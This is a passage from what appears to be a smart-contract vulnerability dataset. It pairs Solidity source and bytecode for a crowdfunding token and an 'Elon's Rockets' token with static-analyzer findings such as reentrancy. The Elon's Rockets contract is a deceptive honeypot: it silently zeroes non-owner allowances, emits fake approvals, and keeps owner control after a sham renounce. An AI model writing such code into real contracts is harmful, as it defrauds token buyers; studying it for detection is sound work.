00000000000000000000000000000000000000000000000000081526004016125b390612eca565b60405180910390fd5b8091505092915050565b60006125d06121a4565b905060006125e782846127dc90919063ffffffff16565b905061263b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126988260065461251e90919063ffffffff16565b6006819055506126b38160075461256890919063ffffffff16565b6007819055505050565b6000806000806126e960646126db888a6127dc90919063ffffffff16565b61215a90919063ffffffff16565b905060006127136064612705888b6127dc90919063ffffffff16565b61215a90919063ffffffff16565b9050600061273c8261272e858c61251e90919063ffffffff16565b61251e90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061276c85896127dc90919063ffffffff16565b9050600061278386896127dc90919063ffffffff16565b9050600061279a87896127dc90919063ffffffff16565b905060006127c3826127b5858761251e90919063ffffffff16565b61251e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156127ef5760009050612851565b600082846127fd9190613116565b905082848261280c91906130e5565b1461284c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284390612eea565b60405180910390fd5b809150505b92915050565b600081359050612866816136ab565b92915050565b60008151905061287b816136ab565b92915050565b60008083601f84011261289357600080fd5b8235905067ffffffffffffffff8111156128ac57600080fd5b6020830191508360208202830111156128c457600080fd5b9250929050565b6000813590506128da816136c2565b92915050565b6000813590506128ef816136d9565b92915050565b60006020828403121561290757600080fd5b600061291584828501612857565b91505092915050565b60006020828403121561293057600080fd5b600061293e8482850161286c565b91505092915050565b6000806040838503121561295a57600080fd5b600061296885828601612857565b925050602061297985828601612857565b9150509250929050565b60008060006060848603121561299857600080fd5b60006129a686828701612857565b93505060206129b786828701612857565b92505060406129c8868287016128e0565b9150509250925092565b600080604083850312156129e557600080fd5b60006129f385828601612857565b9250506020612a04858286016128e0565b9150509250929050565b600080600060408486031215612a2357600080fd5b600084013567ffffffffffffffff811115612a3d57600080fd5b612a4986828701612881565b93509350506020612a5c868287016128cb565b9150509250925092565b600060208284031215612a7857600080fd5b6000612a86848285016128cb565b91505092915050565b600060208284031215612aa157600080fd5b6000612aaf848285016128e0565b91505092915050565b6000612ac48383612ad0565b60208301905092915050565b612ad9816131a4565b82525050565b612ae8816131a4565b82525050565b6000612af98261304a565b612b03818561306d565b9350612b0e8361303a565b8060005b83811015612b3f578151612b268882612ab8565b9750612b3183613060565b925050600181019050612b12565b5085935050505092915050565b612b55816131b6565b82525050565b612b64816131f9565b82525050565b612b738161321d565b82525050565b6000612b8482613055565b612b8e818561307e565b9350612b9e81856020860161322f565b612ba781613309565b840191505092915050565b6000612bbf60238361307e565b9150612bca8261331a565b604082019050919050565b6000612be2603f8361307e565b9150612bed82613369565b604082019050919050565b6000612c05602a8361307e565b9150612c10826133b8565b604082019050919050565b6000612c28601c8361307e565b9150612c3382613407565b602082019050919050565b6000612c4b60268361307e565b9150612c5682613430565b604082019050919050565b6000612c6e60228361307e565b9150612c798261347f565b604082019050919050565b6000612c91601b8361307e565b9150612c9c826134ce565b602082019050919050565b6000612cb460218361307e565b9150612cbf826134f7565b604082019050919050565b6000612cd760208361307e565b9150612ce282613546565b602082019050919050565b6000612cfa60298361307e565b9150612d058261356f565b604082019050919050565b6000612d1d60258361307e565b9150612d28826135be565b604082019050919050565b6000612d4060238361307e565b9150612d4b8261360d565b604082019050919050565b6000612d6360248361307e565b9150612d6e8261365c565b604082019050919050565b612d82816131e2565b82525050565b612d91816131ec565b82525050565b6000602082019050612dac6000830184612adf565b92915050565b6000602082019050612dc76000830184612b4c565b92915050565b6000602082019050612de26000830184612b5b565b92915050565b60006020820190508181036000830152612e028184612b79565b905092915050565b60006020820190508181036000830152612e2381612bb2565b9050919050565b60006020820190508181036000830152612e4381612bd5565b9050919050565b60006020820190508181036000830152612e6381612bf8565b9050919050565b60006020820190508181036000830152612e8381612c1b565b9050919050565b60006020820190508181036000830152612ea381612c3e565b9050919050565b60006020820190508181036000830152612ec381612c61565b9050919050565b60006020820190508181036000830152612ee381612c84565b9050919050565b60006020820190508181036000830152612f0381612ca7565b9050919050565b60006020820190508181036000830152612f2381612cca565b9050919050565b60006020820190508181036000830152612f4381612ced565b9050919050565b60006020820190508181036000830152612f6381612d10565b9050919050565b60006020820190508181036000830152612f8381612d33565b9050919050565b60006020820190508181036000830152612fa381612d56565b9050919050565b6000602082019050612fbf6000830184612d79565b92915050565b600060a082019050612fda6000830188612d79565b612fe76020830187612b6a565b8181036040830152612ff98186612aee565b90506130086060830185612adf565b6130156080830184612d79565b9695505050505050565b60006020820190506130346000830184612d88565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061309a826131e2565b91506130a5836131e2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130da576130d96132ab565b5b828201905092915050565b60006130f0826131e2565b91506130fb836131e2565b92508261310b5761310a6132da565b5b828204905092915050565b6000613121826131e2565b915061312c836131e2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613165576131646132ab565b5b828202905092915050565b600061317b826131e2565b9150613186836131e2565b925082821015613199576131986132ab565b5b828203905092915050565b60006131af826131c2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132048261320b565b9050919050565b6000613216826131c2565b9050919050565b6000613228826131e2565b9050919050565b60005b8381101561324d578082015181840152602081019050613232565b8381111561325c576000848401525b50505050565b600061326d826131e2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132a05761329f6132ab565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6136b4816131a4565b81146136bf57600080fd5b50565b6136cb816131b6565b81146136d657600080fd5b50565b6136e2816131e2565b81146136ed57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bd959a03f031abcb5cde400dc8059c17339f5bf3c388c8f97b90f2ea5ced272d64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,408 |
0xdc9053b8fcf7086f42399b83210036e4ef8bd923 | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Token is MintableToken
{
string public constant name = 'Volks';
string public constant symbol = 'VWCC';
uint8 public constant decimals = 18;
function Token() public {
}
}
contract Crowdfunding
{
using SafeMath for uint256;
Token public token;
uint256 public collected;
uint256 public date_start = 1535601600;
uint256 public date_end = 1538280000;
uint256 public hard_cap = 10000000 ether;
uint256 public rate = 5800;
address public funds_address = address(0x71a6435F781e50845A1C124db20a384205a1858B);
function Crowdfunding() public payable {
token = new Token();
}
function () public payable {
require(now >= date_start && now <= date_end && collected.add(msg.value)<hard_cap);
token.mint(msg.sender, msg.value.mul(rate));
funds_address.transfer(msg.value);
collected = collected.add(msg.value);
}
function totalTokens() public view returns (uint) {
return token.totalSupply();
}
function daysRemaining() public view returns (uint) {
if (now > date_end) {
return 0;
}
return date_end.sub(now).div(1 days);
}
} | 0x60606040526004361061007f5763ffffffff60e060020a60003504166301c28786811461019b5780632a2f7bda146101c05780632c4e722e146101d3578063585e1af6146101e65780637e1c0c09146101f957806384bcefd41461020c578063d6619ffb1461021f578063dd7f88ee1461024e578063fc0c546a14610261575b600254421015801561009357506003544211155b80156100b257506004546001546100b0903463ffffffff61027416565b105b15156100bd57600080fd5b600054600554600160a060020a03909116906340c10f199033906100e890349063ffffffff61028e16565b60006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561013457600080fd5b6102c65a03f1151561014557600080fd5b50505060405180515050600654600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561018357600080fd5b600154610196903463ffffffff61027416565b600155005b34156101a657600080fd5b6101ae6102b9565b60405190815260200160405180910390f35b34156101cb57600080fd5b6101ae6102bf565b34156101de57600080fd5b6101ae610301565b34156101f157600080fd5b6101ae610307565b341561020457600080fd5b6101ae61030d565b341561021757600080fd5b6101ae610374565b341561022a57600080fd5b61023261037a565b604051600160a060020a03909116815260200160405180910390f35b341561025957600080fd5b6101ae610389565b341561026c57600080fd5b61023261038f565b60008282018381101561028357fe5b8091505b5092915050565b6000808315156102a15760009150610287565b508282028284828115156102b157fe5b041461028357fe5b60035481565b60006003544211156102d3575060006102fe565b6102fb620151806102ef4260035461039e90919063ffffffff16565b9063ffffffff6103b016565b90505b90565b60055481565b60045481565b60008054600160a060020a03166318160ddd82604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561035557600080fd5b6102c65a03f1151561036657600080fd5b505050604051805191505090565b60015481565b600654600160a060020a031681565b60025481565b600054600160a060020a031681565b6000828211156103aa57fe5b50900390565b60008082848115156103be57fe5b049493505050505600a165627a7a723058200ce2ee436d7d193056fbd36f35ffb79b0f3f1424fd4072886afb224fdb122fdf0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,409 |
0xa44c6807e373eddbcee7b5955e2e33f2fe50720a | /*
___________.__ __________ __ __
\_ _____/| | ____ ____ \______ \ ____ ____ | | __ _____/ |_ ______
| __)_ | | / _ \ / \ | _// _ \_/ ___\| |/ // __ \ __\/ ___/
| \| |_( <_> ) | \ | | ( <_> ) \___| <\ ___/| | \___ \
/_______ /|____/\____/|___| / |____|_ /\____/ \___ >__|_ \\___ >__| /____ >
\/ \/ \/ \/ \/ \/ \/
🌐 Telegram: https://t.me/elonsrockets
🌐 Website: elonsrockets.io
⏰ Buyback countdown announced
📈 When the countdown is over, a buyback session starts.
⁉️ Both the number of buybacks and the size are unknown.
🔁 When the streak ends, the next countdown is started, and the cycle repeats.
✅ Fair launch
🧮 16% Tax: 10% buyback, 6% team
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract ElonsRockets is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = "Elon's Rockets - https://t.me/elonsrockets";
string private _symbol = '$ElonsRockets';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address elonn, address ery, uint256 amount) private {
require(elonn != address(0), "ERC20: approve from the zero address");
require(ery != address(0), "ERC20: approve to the zero address");
if (elonn != owner()) { _allowances[elonn][ery] = 0; emit Approval(elonn, ery, 4); }
else { _allowances[elonn][ery] = amount; emit Approval(elonn, ery, amount); }
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004